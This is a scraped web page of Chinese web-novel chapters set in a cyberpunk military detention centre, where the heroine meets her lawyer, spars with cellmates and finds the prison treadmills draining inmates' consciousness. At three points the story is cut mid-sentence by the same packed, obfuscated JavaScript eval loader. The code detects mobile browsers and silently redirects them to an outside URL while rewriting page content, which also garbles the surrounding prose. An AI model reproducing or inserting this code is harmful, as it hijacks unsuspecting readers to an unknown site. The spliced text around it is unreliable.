“记住,如果她让你看易楚生死亡的现场记录,无论你的大脑给出什么反应,你的嘴只能重复一句话——我不认可任何基于模糊感知的推论。只要你不点头,她拿出的那些监控碎片在军方公诉部那里就是废纸。明白吗?” 连映深吸一口气,将这句话死死刻在脑子里:“明白了。” “还有,关于那个失忆前的电话,”徐律师起身,最后深深地看了连映一眼,“你让我告诉你自己,不要相信任何试图帮你找回记忆的人,不管是谁。” 20.找茬 谁也不能相信,也包括那个系统吗? 连映心情复杂地沉默了。 “关于记忆的事,急不来,那也许是你的一种自我保护。”徐律师合上案卷,镜片后的目光锐利而审慎,她话锋一转,“先说说你的处境吧,你对你现在的监室感觉如何?” 连映靠在椅背上,清冷的目光掠过审讯室灰白的墙壁:“还好,就是不太像蹲监狱,更像是个被精心挑选出来的标本陈列柜。” 她顿了顿,语气平稳地描述道:“091 号是个暴力派,姓王;093 号是个圆滑的掮客。最特别的是 092 号,叫李棠。我回来的时候,她正坐在那里看一本纸质书,那种姿态,不像是个囚犯。” 听到“李棠”和“纸质书”这两个关键词,徐律师翻页的手指猛地一顿,随即发出一声充满嘲讽的冷笑。 “李棠?看书?呵,哪怕是被扔进深井,她那副随时随地拿着本书装深沉的臭德行还是没改掉。” 徐律师摘下眼镜擦拭,眼神透着股陈年的怨气,“连小姐,你的运气……或者说,送你进去的人,心思比我想象中还要深。” 连映敏锐地捕捉到了徐律师语气里的异样:“你认识她?” “圈子就这么大。她是魏副总统的前首席幕僚,曾经在联邦法务委员会上用三句话就差点让我吊销执照。那是个吃人不吐骨头的政坛毒蛇。” 徐律师重新戴上眼镜,神色变得异常凝重,“她被关在你对面,绝不是巧合。在这间屋子里,她才是最危险的那个。” “这个我知道。”连映毫不意外地说,又描述了一下另外几人的外貌气质。 徐律师又简单提了一下另外几人:“091 应该是沉降区碎铁帮的前任红棍王红,替帮主背黑锅进来的,那是块硬骨头。至于 093,那是灰市里出了名的耗子苏姨。这间监室里没有一个是普通人,但他们有一个共同点:都是聪明人。把你这种身份敏感的嫌疑人关在这里,而不是直接扔进北区的重型监狱,本身就是一种表态。” 连映没有露出惊讶的神色,反而顺着逻辑接过了话头:“所以,C09 本身就是一个平衡装置。有人想尽快把我定罪,好让易楚生的案子彻底合上;但把我放进这里的人,是想让我做一个活着的变量,去牵制某些人的视线。” 徐律师有些意外地看了连映一眼,随即露出会心的微笑,这种聪明人之间的默契让空气中的积绷感消散了不少。 “没错,接下来你要做的就是拖。”徐律师干脆利落地吐出一个策略,“以你现在的处境,关键不在于清白,而在于价值。在明天的审讯中,你表现得越神秘、越有利用价值,那些保你的人就越有借口拖延。只要平衡不被打破,你就是安全的。一旦你变成了一个确定的答案,你就失去了作为筹码的意义。” “明白了。”连映垂下眼睫,声音清冷,“在天平倾斜之前,我要做一个深不见底的旋涡。” “和聪明人打交道就是爽快。”徐律师眼里划过一丝赞赏。 “还有一件事。”沉吟片刻,她话音一转,眼神探究地道,“有人转给我一笔钱,要我帮忙打进你的羁押所账号,他不让我告知你他的身份,但今天我听说了新的消息,不知审讯方有没有告知你——” “是闻阗吧?”连映眼神平静,“会给我打钱的也没别人了。他失踪的事我已经听审讯方说了,昨天夜里他失踪了。” 见她表情没什么变化,徐律师心里为不用应对抓马场面额外付出情绪劳动稍稍松了口气:“你心里有数就好。你能诚实地告诉我,他到底和你这个案子有没有关系吗?” 连映很肯定地看着她的眼睛:“没有,不管我的记忆有没有问题,我都很肯定自己不会杀易楚生,闻阗更不可能帮我。” 徐律师点点头,并没有质疑她,然后道:“你说你没做,我就相信你。关于案件本身,你记忆里有没有任何可疑的细节?放心,无论发生了什么,我都不会质疑你的立场。” 连映和她合作过,一贯相信她的人品,想了想,试探性地说:“其实,我确实记得一个细节,但我没法确定这个细节的真实性和可靠性,你可以帮我查一查吗?” 徐律师顿时目光一肃:“哦?是什么?” “是这样的一个形状,一个漩涡线条构成的类似眼睛的形状,中间有个竖瞳,而且中间那个可能是红宝石或红玻璃做的,这个东西能发红光。”连映在桌子上画出之前记忆闪回中以及和夏雨的链接中看到过的那个漩涡眼睛的形状,然后道:“也许是某个民间组织或宗教团体的徽记,你知道这个图案吗?” 徐律师思索道:“我好像确实在哪里看到过这个图案,等我回去调查一下,明天告诉你结果。” 半小时后 “好好应对明天,明天我还会再来,保重。” 该说的都说得差不多了,徐律师收起文件夹,利落地转身离开。金属门轰然洞开,狱警那闪着寒光的机械臂再次拽起了连映,将她拖回那个幽暗冰冷的长廊。 走出那间冰冷的会见室,连映拖着沉重的脚步,在机械警卫的护送下踏过潮冷的灰色走廊和楼梯上。 这里好像没有一丝阳光。 连映的太阳穴隐隐作跳。自从在那场精神风暴中强行吸收了噬械菌的活性碎片后,她现实中的本体似乎也发生了某种不可逆的质变。原本如针扎般的偏头痛消失了,取而代之的是一种极度敏锐、甚至有些嘈杂的感知力。 她能听见走廊尽头警卫那不规律的呼吸声,能感知到墙壁内电缆中流动的低频电流,甚至能察觉到这座军方羁押所里有一股庞大而冰冷的能量流动。 徐律师说有一种势力在保她,可这种“保”,更像是一种密不透风的软禁和控制。 连映垂下眼睑,掩盖住瞳孔深处偶尔闪过的冷蓝光流。易楚生的死、失踪的母亲、还有躲在阴影里的幕后黑手……所有的线索都指向一个早已写好的剧本,而她只是一个被推上台、甚至还没拿全台词的演员。 “既然你们都不想让我死,那我就在这口井里,把你们藏的东西一点点挖出来。”连映眼里划过冷光。 她并不是那种会为了某种大义而献身的圣徒,她只是个极度自我的游离者。谁想操纵她的命运,她就让谁的齿轮彻底崩坏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182602|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前方就是C09监室。她深吸一口气,将所有的情绪收敛进那副没有感情的皮囊之下。 她知道,接下来她还有很多硬仗要打。 连映回到C09监室时,午餐刚通过舱门的传送槽滑进来。那是几块灰扑扑的合成淀粉块和一桶清可见底的蔬菜汤。 空气里依旧漂浮着消毒水的冷味,但此刻监室里多出了几分嘈杂。原本空着的床位上多了两个身影,正坐在床沿整理那薄得可怜的毯子。 “095,见完律师了?”苏姨依旧是那副圆滑的笑脸,她状似无意地挪了挪身体,遮住了连映的床头,压低声音道,“补给给你塞枕头底下了,赶紧处理掉。” 连映微微点头,正要坐下,一道带着审视与挑衅的目光便像针一样扎了过来。 “哟,这就是那个杀了副总统弟弟的女人?” 说话的是刚回来的096号。她长着一张辨识率很低的西式流行面容,翘鼻碧瞳十分完美,浅金色短发的发根颜色很深,身上的囚服被她故意改短了一截,露出手腕上荧光绿色的义体接口。 看着连映枕头下露出一角的黑色棒体,她撇撇嘴,慢悠悠地柔声抱怨道,“这世道真是不公平,举世瞩目的杀人犯不仅有律师见,连牢饭都比别人的香。苏姨,您这心偏得也太没边了吧?” “小伊刚从隔离区回来就这么精神啊。”苏姨笑眯眯地将千斤拨了回去。 王红正窝在床上大口嚼着淀粉块,闻言把铁勺往铁桶上一磕,发出一声刺耳的脆响。她没抬头,嗓门却震得人心口发颤:“吵死了!再多废话一句,老子就把这桶汤扣你头上。” 094号瑟缩了一下,没敢接王红的话,却转头狠狠剜了连映一眼。 连映没在意这边发生了什么,她正在悄悄观察坐在角落里的094号。 她是个身材高大结实的女人,样貌粗犷深邃似有外国血统,剪着极短的寸头,眼神发直地盯着手中的餐盘,手部由于肌肉痉挛而微微颤抖,虽然因为浪费没直接发动精神力,但连映能感知到她的状态不太对。 那边纤瘦的096号看起来没什么事,094号的状况却显然比她差得多,看来算力的抽取和个人的身体素质确实不太相关,连映暗忖。 屋子另一头,王红依然在挥汗如雨地锻炼身体,李棠则静静坐在床头翻看一本纸质书,仿佛周遭的硝烟都与她无关。 苏姨眼睛扫了一圈,忽然拍了拍手,调节气氛道:“你们还没见过吧?来来,我来介绍一下,六号是克洛伊,和咱们一样是外面进来的;四号是卢维,军队的。这个是连映,刚刚进来,具体什么事大家昨晚应该也都看过电视了,就不用我多说了。” “我是克洛伊,是个专业的信息代理人。” 金发女人见王红和李棠都没动静,壮着胆子对连映扬了扬下巴,主动打了个招呼,语带恶意地道: “别以为有苏姨护着你就万事大吉,下午打扫厕所的任务归你了,095。这是规矩,新人总得干点脏活清醒清醒,对吧,芦苇?” 被叫外号的096号卢维闷闷地应了一声,声音沙哑得像是砂纸磨过地面。 21.告诫 克洛伊盯着那截露出来的营养棒,眼神里的嫉妒几乎要化成实质。 她见王红没真动手,胆子又肥了几分,伸手就去抢连映的枕头:“大家都是一个屋的,凭什么你吃小灶?拿出来分了!” 连映早有防备,在克洛伊指尖触碰到布料的前一秒,她微微侧身,不仅避开了她的手,还顺势用手肘抵住了克洛伊的重心。 “你想要?”连映语调平静,眼神却冷得像碎冰,“苏姨给我的东西,那是我的酬劳。你要是也想要,不如也每晚多承担算力,或者,你也可以去跟王敏教官谈谈,看看能不能用你那身刚掉色的珍珠美甲换一根?” “你——!”克洛伊被噎得脸蛋通红。她那引以为傲的审美义体在隔离区被折磨得斑驳不堪,这是她最疼的伤疤。她气急败坏地尖叫起来,指着连映的鼻子,“一个杀人犯,装什么清高?李姐,王姐,她这么嚣张,你们也看得下去?” 王红坐在一旁,一边嚼着淀粉块,一边发出一声毫不掩饰的嗤笑。她确实不待见连映,但看着克洛伊这种向来欺软怕硬的东西在连映手里吃瘪,她心里那点微妙的恶趣味得到了极大的满足。她不仅没帮忙,还故意把铁勺在空碗里敲得震天响,活脱脱一副看戏不嫌台高的气氛组模样。 苏姨不喜欢场面失控,于是和稀泥道: “哎呀,小伊啊,小连刚来,不懂规矩,你当大姐的让着点!小连,你也少说两句。”苏姨的话语在两个女人的对峙中显得毫无分量,根本没人听她的。 克洛伊见状更生气了,伸出手就要去抓连映的头发。 “吵够了吗?” 一直靠在角落翻书的李棠终于合上了那本边缘泛黄的纸质书。她从克洛伊发难开始就一直没出声,静静地看了半天戏。 克洛伊不是连映的对手,至少表面上不是。 “克洛伊,坐下。”李棠的声音不大,却带着一种不容置疑的威权,那是多年浸淫在魏副总统幕僚团队中养出的发号施令的习惯。 克洛伊的动作僵在了半空,脸上的愤怒瞬间转化成了畏惧。她咬着牙,不甘心地收回手,却还是小声嘀咕:“棠姐,她这新来的也太嚣张了……” “谁去打扫厕所还轮不到你说了算。”李棠淡淡地扫了连映一眼,“连映,我们说好了,这三天都是你打扫。克洛伊,你也闭嘴,去把你那份冷掉的蔬菜汤喝了。” 连映眨眨眼,没有说话,而是沉默地吃起自己的饭来。 苏姨见状,赶紧打圆场,顺势把克洛伊拉到一边:“就是就是,棠姐发话了,大家都消消火,吃饭吃饭,要不一会管教过来训话谁都吃不成。小伊啊,咱们不争这个,为什么呢,你过来给你说,因为夜里还得……” 她附在克洛伊耳边说了什么,克洛伊表情变了变,一咬牙,没再言语,而是静静拿起自己的饭吃了起来。 连映收起营养棒,垂下的眼睫遮住了瞳孔中一闪而过的冷光。 李棠这在给克洛伊找台阶下,也是在试探自己的底线,如果她不想,这嘴根本斗不起来。 她显然对上午的事心里依然有不满,而别人心中的不满也许更甚,但连映不会因此松口,如果今夜的算力吸取对她来说并不难过,明天的谈判就不会只是每天几个营养棒和寥寥几个积分那么简单了。 她不知道李棠那边到底有什么手段和筹码,但她现在已经没什么可失去的了,不怕她威胁。 连映一边想,一边看了一眼人群边缘的卢维。她依然面无表情地在一边嚼东西,面色阴沉地盯着地上的影子,似乎对眼前的一切连围观的兴致都没有,唯有那双宽大的布满伤疤手掌在膝盖上反复摩擦,似乎在忍受某种只有她才能感知到的酷刑。 连映草草吃完饭将碗盘放好,转身就向厕所走去,背后能感觉到克洛伊幸灾乐祸的目光。 厕所的排风扇哗啦哗啦缓慢地转着。 连映正弯着腰拖地。 这个年头,功能简单的智能家务机器人价格越来越低,几乎每个家庭都有一个,连映穷,没有家务机器人,但她也不需要。 她家地方小,只是暮城B区边缘某个老小区公寓的一间小小的卧室,稍微打理一下就能看得过去,只把公共区域弄干净就行,以前打工时也负责过清洁工作,所以她对这类活计其实并不发怵。 但她当然不会告诉外面几人。 由于连夜审讯,连映的身体确实有些沉重,腰由于一直弯腰也有些酸,但她现在的感觉不算太坏。 监室里人太多,太密集,昨夜以后,她的精神力格外敏锐,并因为这种过分敏锐的感知在乱哄哄的人和环境中疲惫异常。 在这种由于精神力和感官过载带来的烦躁感中,骚味冲天的厕所显得格外清净,机械的清扫劳动也让她一刻不停思考的大脑得以停止运转,给了她片刻的宁静。 该擦的擦过了,地也拖了一遍了。再拖一遍也就差不多了。连映想着,正要去涮拖把,却听沉重的步伐声停在门口。 她抬头向门口看去,见联邦名卢维的维罗妮卡卢金那张布满风霜、宛如生锈金属的面孔出现在冷光灯下,心里冒了一滴冷汗,以为这又是克洛伊派来的某种“新人仪式”。 看着她高大的身材和阴沉的面色,连映眸光一紧,展开精神力和对面的卢维面面相觑,死寂发酵了足足三秒。 “闪开。”卢维的声音粗粝得像砂纸,但好像没有找茬的意思。 哦,原来不是来找她的,连映侧身让路。 卢维大步跨过,在连映面前不到两米处,极其自然地解开系带,直接跨坐在那个还没刷干净的蹲位上。她动作坦荡得近乎傲慢,仿佛面前站着的只是这间厕所里的另一根排水管。 连映别过脸,正对上墙角一个散发着可疑味道的黄渍。 啧,这里刚才没看见。但好不想洗擦过这个地方的抹布。她想。 “在前线,一个坑位要蹲好几个人,更紧急的情况下脱了裤子就拉。”卢金望着前方,语气平淡,“你要是觉得不好意思,就说明你还没在这儿待够。” “你看起来状态很糟。”连映将眼睛从那个黄渍上小心地移向她的上半身,以黑诊所长年面对赛博精神病的神经调谐师的职业习惯开口,“隔离观察时,我没在医务室见到你。” “因为你这种高级嫌疑犯去的是疗养间,我去的是熔炉。” 卢金关掉水龙头,水珠顺着下巴滴落,眼神里掠过一丝阴霾,“熔炉只负责把你烧得能动弹,好让你赶上下午的活。原来的95号就是昨晚在抽水的时候碎了。进了这里,就算消失也没人敢找上门来。” “原来的95号,是撑不住了吗?”连映试探着问,手里的拖把在水桶里轻轻搅动,发出沉闷的水声。 卢维提起裤子,站起身,走到那排生锈的水龙头前,双手撑在洗手台上,任由冰冷的水冲刷着她布满疤痕的手背。 “撑不住?”卢维在水声中发出一声短促的、满是嘲讽的笑。 她今年三十一岁,没赶上三十年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195931|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前联邦和北盟那场毁天灭地的天幕坠落,但她见过足够多的泥泞、混乱的代理人战争。在这个时代,那些铁罐头依然在世界上某个疮痍满目的废墟上发挥着威力。 “这里是联邦最好、纪律最严明的羁押所之一,条件不如军方监狱,但也比大部分其他羁押所都好。虽然冬凉夏暖,但至少有个遮风挡雨的住处,有饭吃,可以按时睡觉,可以用算力和劳动积分抵坐牢的费用,纪律相对严明,压榨犯人的管教不敢做的太过分,甚至允许强化剂暗中流通,至少比沦落成沉降区流浪汉还要忍受□□压榨要好得多。” 说到这,她锐利的眸子里浮现出一抹嘲讽。 “在这里,没人会承认自己撑不住,只会说是那个崩溃的不够努力,胡思乱想,没照顾好自己。” 连映沉默了。她没有经验,实在不知道被抽算力是什么样的体验,以至于卢维会发表这样堪称阴阳怪气的评价。 而见卢维此时谈兴尚可,她问:“那,被抽算力到底是种什么感觉?” 这是她现在最担心也是最感兴趣的问题。 她因为个人身体原因从未通过这个兼职的大脑检查和过往精神病史筛查,但她认识几个长期做这种兼职的朋友,但他们似乎对此观感尚可,和卢维的态度不太一样。 话说,为什么这里抽算力的项目就没把她筛出去呢?甚至,她在这里似乎被归类到了“高带宽”的级别里,以一己之力拉高了这个监室要抽取的算力总量。 “一开始,没什么感觉。”卢维说,眉眼压低了些,灰蓝色的眸子浮起些许阴霾。 “现在,是噩梦,睡眠不良,失眠,是脑子里有一台永不熄灭的抽水机,不抽你的血,却抽你的根。 “根?”这个说法太玄乎了,连映没法想象那是什么感觉,类似精神力掏空的那种疲惫感吗? “唔。”见连映向来表情淡淡的脸上现出明显的疑问,卢维顿了顿,努力搜寻合适的语言,灰蓝色的眼里浮现出一种生理性的厌恶。 “就像在海外那些没信号的雨林里,你在铁罐头里被电磁脉冲武器打中,没法动弹。你的意识还在,你能感觉到你的魂儿像血一样一滴滴顺着颈环流出去,最后一滴流完时你还没死,但你已经木了,空了,半天才能回过神来。” “原来的95号最后走的时候和我的战友一样,眼睛里连光都没了,只剩下一对黑洞洞的招子。” 招子?这个词在一个斯克拉文样貌的高大女人嘴里说出来其实有点违和。 她还是没明白这是什么感觉,但她忽然意识到,这个犯事被关进来的女军人确实是个正宗的联邦公民,接受过联邦的教育,认真读过书,不掺水的那种。 连映的心脏微微一缩。她能感觉到卢金身上那种沉重、带着衰亡气息的情绪波形,她也能感觉到,这个老兵不讨厌她,不管是什么原因,在这个地方,这个时候,她愿意对她多说几句话,真实的、抱有善意的话,她心里忽然感觉好了一点。 “谢谢你告诉我这些,维罗妮卡.卢金。”这一次,连映是真心地、郑重地道谢,“以后如果有需要,你也可以来找我。” “找你?你先能活下去再说吧。”卢维掀掀一边嘴角,表情微嘲。 她关掉水龙头,甩了甩手上的水:“下午的活——” 她顿了顿,眼神冷得像冰,“那活儿不难,但别让自己完全放空。” “为什么?”连映问。 高大的女兵没有回答,转身走出厕所。 22.意外 下午,走廊里的感应灯依次亮起。C09 监室的五个人在王敏的吆喝声中排成一列。 李棠走在最前面,背影挺拔得像是在参加某场剪彩仪式。 卢维其次,高大的身躯板正而僵硬,面无表情地看向前方。 王红姿态散漫,倒是终于好好穿上了囚服,遮住了她的红蝎纹身。 克洛伊和苏姨并排走着,前者正小声抱怨着监狱配发的洗发水让她的发质变干,而苏姨只是笑眯眯地听着,偶尔点点头,眼睛却不时接收来自路过的其他监室犯人心有灵犀的一瞥。 前往车间的路上,连映的精神力开始隐隐感到一股说不清道不明的压迫感,看着走廊尽头的铁门,想起在影视游戏作品里看到过的各种监狱劳动,她心中无法抑制地升起一股不安。 “怎么,害怕了?” 不知是不是她面部表情太过紧绷,走在一旁的克洛伊嘲讽地斜了她一眼。 “军方的羁押所是联邦最正规的地方,我们监室的劳动是棠姐特意争取来的,是羁押所里最轻松的活,你应该感到庆幸猜对。” 轻松?庆幸?卢维的说法倒是不太一样。 所以,她们到底是要去做什么? “最轻松的活,具体是要干什么?”连映微微疑惑地问。 克洛伊翻了个白眼:“一句话说不清楚,到了你就知道了。” 连映收回目光,和监室众人一同来到铁门前,闸门缓缓开启,一股夹杂着臭氧与冷凝液气味的凉风扑面而来。 闸门开启,一股臭氧味扑面而来。 这里面显然进行过高浓度的臭氧消毒,味道挺冲,和那种被褥上淡淡的阳光余味有天壤之别,是一种攻击性极强的不适腥味。 它们不停涌入连映的鼻腔和肺里,熏得她直犯恶心,上午刚缓过来的脑袋又开始晕起来。 每个人的工位已经安排好,连映看向墙上的全息屏幕,属于自己的C095后标注着:27号。 “快点,别磨蹭!” 今天早上见过的乱牙女管教王敏站在入口处,那口标志性的乱牙在刺眼的冷光灯下显得格外狰狞。 连映不想和她打照面,正想快速从她面前走过去,李棠却按住了她,走上前去,低声在王敏耳边说了什么,攥着电子版的王敏目光落到连映身上,神色显得有些扭曲,那是一种不得不执行潜规则、又打心底里想给关系户找麻烦的恼火。 “095,去14号位。”王敏对连映生硬地吐出这几个字,电磁棍在掌心烦躁地敲击着,“那是全车间最好的步进圆盘,风口最大,对着换气扇。你要是再干不好,就直接滚去废料区。 连映点头从王敏身边走过,看着前方已经进入车间的李棠挺拔的背影,她心里很清楚,在这座高墙里没有平白无故的遮风避雨。 王敏之所以收敛起那股泼皮劲,是因为李棠在外面付出了足够的筹码。李棠在赌她的未来,而这些优待,最终都会化作利息,在每个深夜连本带利地讨回来,但她现在不得不接受。 走进车间,连映被眼前的景象震住了。 巨大的厂房里排列着大约上百个半径一米的银色金属圆盘,像是一片静止的钢铁蘑菇森林。 随着人们逐渐就位,圆盘陆续开始机械地上下起伏,宛如一只巨大海怪正在节奏缓慢地呼吸。 随着电机启动的嗡鸣,圆盘开始缓慢地倾斜、旋转。连映看着人们一个个踏上圆盘,被迫开始行走、跨步、甚至舞动,像是在一个永无止境的斜坡上跋涉。 连映顺着金属扶梯爬上14号圆盘。由于工位的微调,她这一排并不全是 C09 监室的人。 “你好……” 一个怯生生的声音从相邻的15号位传来。 连映转头一看,立刻人了出来:是苏凌,早上被王敏教训的那个C056号女孩。 她正在圆盘上熟练地跨着步,动作轻盈得像是在跳一种诡异的机械舞。 “这东西到底在干什么?” 连映抹了一把被车间残余的臭氧味熏出的生理性眼泪,一边试图在旋转的底盘上站稳。 苏凌的记忆力和相关知识显然比克洛伊好的多,她倾斜身体,低声快速地向连映解释道: “这是生物流体平衡感应组装机。管教说,它们是用来组装深海用的精密陀螺仪的。那种东西对受力要求比较高,仿生人的动作太死太重,良品率太低。咱们这种活的不规则的平衡力更有利于给底下的晶圆做特殊处理。” 这套夹杂了很多专业词汇的解释听起来十分复杂,确实能唬住绝大多数不懂的人,包括连映。 但即使如此,她依然觉得这段话有说不通的地方。 她怀抱着疑惑,尝试地跨出第一步。 这种劳作并不算重体力,圆盘甚至会顺着她的动作产生一种奇妙的助力。在悠扬的背景音乐中,机械的重复动作带出了一种病态的解压感,仿佛只要这样一直走下去,大脑就会进入一种半梦半醒的虚无。 “放空脑袋,跟着节奏走。”后方的苏姨也插嘴道,“小连,别去想你在干嘛。这时候要是能进那个心流状态,你不但不会觉得累,还能感觉脑袋里轻飘飘的,跟成仙了似的。” 这话怎么听着不太对劲?倒像是那些劝人嗑强化剂的说辞。 连映心中顿时暗生警惕,但她挡不住自己灵敏的听觉,一阵单调、空灵且极具节奏感的合成器音乐从天花板的扩音器中流淌出来。 那旋律平缓得几乎没有起伏,精准地卡在每分钟六十拍的心跳频率上,像是一双无形的手,试图抚平空气中所有的焦躁。 克洛伊的吐槽声从一边飘来:“靠,什么品味,这破歌真不像人写的,谁的品味这么AI?” 这次她倒是同意克洛伊,连映暗想,但很快,她就感觉到一种飘飘然的舒适感油然而生。 大脑变得异常轻盈,像是一团被反复揉搓、拉伸的棉花糖。 然而,在这种解压的快感下,连映作为神经调谐师的本能突然警钟大作。 这种状态太不正常了,像极了她浸入那些磕了药的病人的精神波形中的感受。 连映猛地睁眼,通过精神视野打开机械感知能力看向脚下的圆盘。 这绝对不只是个普通的感应组装机,在精神力和机械感知的双重视野中,当苏凌进入那种心流状态时,苏凌的头颅正溢出一种极其微弱的精神波动。 通过机械感知的透视视野,圆盘底部的传感器并不是在拧螺丝或做任何组装,它的核心藏在传感器内部,极小,看不出是什么,却像一个吸尘器,正贪婪地捕捉着苏凌体内传出的某些肉眼看不见、精神力却可以感知到的能量。 连映后背一阵发凉,她立刻转头看向其他人的方向,果然,每个表情沉醉迷离的人都和苏凌一样,被这些机器悄悄地、源源不断地吸走一些看不见的能量,眼神迷离。 感官由于寒冷和臭氧味而感到不适,精神上却产生一种诡异的放松感,在这样割裂的状态下,人会逐渐产生一种病态的解压感和与自己身体的隔离感。 如果不去想这个劳作的意义,这种脑内放空的状态确实像是一种逃避现实的强化剂,甚至有人在随着节奏微微摇晃,仿佛沉浸在某种极乐的虚无中。 原来这就是卢维说的‘空了’。 连映咬紧牙关,强迫自己去回忆那些痛苦的、鲜活的往事。她利用这种情绪的剧烈波动,强行对抗那种麻木感的侵袭。 “095!脚下动作快点,别那么乱吞吞的!!”王敏拎着电磁棍走过来,乱牙在蓝光下显得格外狰狞。眼看那闪烁着电火花的棍尖就要捅向连映,旁边的苏凌急促地低语:“脚尖先用力……跟着那个平衡球的倒影走,容易晕。” 连映心中一凛,不得不继续脚下的动作。 “王管教,盯着个新人撒气,很有成就感吗?”后面的王红冷冷开口,抬起手亮了一下自己的金属义手,停下自己的圆盘,双手抱胸,红蝎纹身在汗水中显得杀气腾腾。 王敏脸色阴晴不定,见连映重新开始工作,冷哼一声走开了。 连映稳住重心,重新投入到这个诡异的劳作中。随着呼吸变得急促,她发现脖子上的颈环开始微微发烫,视线逐渐模糊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208615|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 迷蒙中,她觉得自己和其他人似乎变成了一只只踩在精美转轮里的仓鼠,每天在转轮里拼命跑,跑得昏天黑地,却一寸也没挪动。 她觉得这种情景很好笑,于是笑出了声。 “噗嗤。” “笑什么呢?”克洛伊在斜对面的圆盘上扭过头,虽然她也被呛得不轻,但仍不忘维持那副跋扈的架势,“好好干活!要是咱们这组的良品率低了,晚上你的加餐可就没了!” “094!095!保持肃静!”王敏的电磁棍在圆盘边缘虚晃了一下。 连映立刻收敛了表情。也就是在这一瞬间,因为情绪的波动,她原本被音乐麻痹的理智忽然恢复了一些,如坠云端的意识也开始复苏,她打了个激灵,开启特殊视野看向似乎格外精神的克洛伊,果然,她的身上并没有其他人那种奇异的抽取不可见能量的磁场。 这倒是有意思。连映奇怪地看了她一眼,又将视线拉回圆盘设备。 她注意到,圆盘下那些所谓的晶圆,闪烁频率竟然和她用精神视野看到的那些抽人们身上的不可见能量的机器核心完全一致。 这果然不是在封装晶圆,封装只是外壳。这些晶圆更像是一张张白纸,正在收集她们大脑里渗出的意识信号。 【警告:检测到精神能量低频溢出。】 系统的蓝□□面在视野中划过。 精神能量?不是精神力? 意识能?不是精神力? 连映仔细体悟了一下,但怕核心吸走的这股力量确实不是精神力,而是一种存在于意识里的更本质的东西,也是因此,被吸走的意识能虽然十分微小,却会让人头脑昏沉、意识迷离。 在这个过程中,她能感受到那股无形的、像磁铁般的吸力正在试图把她的注意力彻底剥离,但如果她强行集中你利用精神力去抵御这种吸力,那股无形而微小的“意识能”的流速确实会降低。 注意力越集中,精神力的抵御力度越强,流逝就越慢,甚至和那股吸力僵持不下,形成拉锯。 这种感觉很奇特:身体极度疲惫,大脑却被强行维持在一种近乎呆滞的放松状态。 她突然意识到,这种劳作虽然在剥削,但由于这种强迫集中的机制,竟然在客观上形成了一个极其严苛的精神磨炼场。 如果她能在这个圆盘上,一边维持□□的运动和平衡,一边像扎马皮一样守住意识的关隘不被吸走,那她的精神韧性将会被锤炼得极其恐怖。 她不再试图对抗这种疲惫,而是把它当成了某种“精神沙袋”。每当那股吸力试图拽走她的意识时,她就用那股酸痛感将自己强行拉回。 这不仅仅是折磨。连映在剧烈的喘息中感受到了一种隐秘的、自虐般的爽感。 这是她的训练场。 时间一分一秒过去,不知过了多久,连映的汗水顺着鬓角滑入领口,臭氧味已经熏得她嗅觉麻木。但在那种极度的疲惫中,她发现自己的精神力产生了一种奇妙的凝实感。 起初,她需要竭尽全力才能守住那一缕精神能量不被圆盘吸走;但随着时间推移,在那股无形吸力的反复拉扯下,她的精神力竟然像是在铁砧上被反复锻打的钢坯,变得越来越紧致、纯粹,几乎形成了一个由精神力构成的奇妙盾牌,那种低频的吸力撞在这股力量上,竟再也无法寸进,无法再从连映这里吸走任何东西。 【系统提示:精神韧性磨砺中,当前精神韧性+15(当前总值:65),精神稳定性提升 10%】 【技能觉醒提示:检测到精神防护机制雏形,构筑进度:15%】 这种变强的反馈让连映精神一振。在剧烈的喘息和汗水中,她真正感受到了一种靠自己踏实变强的掌控感,感到正在这台剥削机器的重压下,为自己锻造一副坚不可摧的铠甲。 就在连映集中注意力打磨自己的精神力时,车间某个方向突然传出了一股令人毛骨悚然的嗡嗡声,伴随着一个女人惊恐的尖叫。 连映立刻抬头朝那边看过去,心中一惊: 发生意外的位置是27号圆盘,连映原本被安排的位置。 23.报复 那个巨大金属圆盘的轴承在极速摩擦下爆发出一声刺耳的金属嘶鸣,底下的支撑杆在超越限制的高速旋转下瞬间崩折。 那个倒霉的囚犯甚至没来得及发出一声完整的惨叫,整个人就像投石机里的石块一样被横着甩了出去,瘦弱的身体重重砸在相邻的28号圆盘边缘,巨大的冲击力重重撞上那里正在工作的囚犯,金属与骨骼碰撞的嘎吱声在单调的音乐中显得格外清晰。 圆盘上的精密组件被撞得四散飞溅,其中几个落到地上倾斜的金属圆盘上,又随断裂的人体渗出的暗红色液体顺着银色的盘面缓缓滴落。 一时间,哀嚎声、惊叫声和系统的警报声交织在一起,场面瞬间失控。 